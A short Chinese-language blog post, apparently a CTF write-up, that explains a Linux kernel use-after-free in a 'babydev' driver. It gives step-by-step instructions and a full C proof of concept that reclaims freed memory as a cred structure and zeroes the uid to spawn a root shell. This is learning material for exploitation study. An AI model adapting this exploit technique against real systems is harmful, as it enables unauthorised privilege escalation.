linux kernel pwn 初探(5) UAF

linux kernel的堆内存分配和用户态的内存分配有点不同

是利用slab/slub分配的

这里推荐一篇文章

linux 内核 内存管理 slub算法 (一) 原理

讲得非常清晰

所以我们要get root shell的方法是

  1. open 两次设备
  2. 将内存改为0x8a,就是cred结构体的大小
  3. 然后close掉其中一个设备,这个时候就有一个UAF了
  4. fork一个子程序,因为fork的时候会创建cred结构体,所以这个时候我们就可以控制这个结构体
  5. 把结构体中的uid之类的置0,就有root shell了

测试了一下,那个kmalloc的范围是0x81-0x92,emmmmm,还是要研究一下slab/slub的分配方法……..

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
int f1=open("/dev/babydev",O_WRONLY);
int f2=open("/dev/babydev",O_WRONLY);

ioctl(f2,65537,0x8a);
close(f2);

int t=fork();
if(!t)
{
int buf[9]={0};
buf[0]=2;
write(f1,buf,0x28);
system("/bin/sh");
}
else
{
wait(NULL);
}

return 0;
}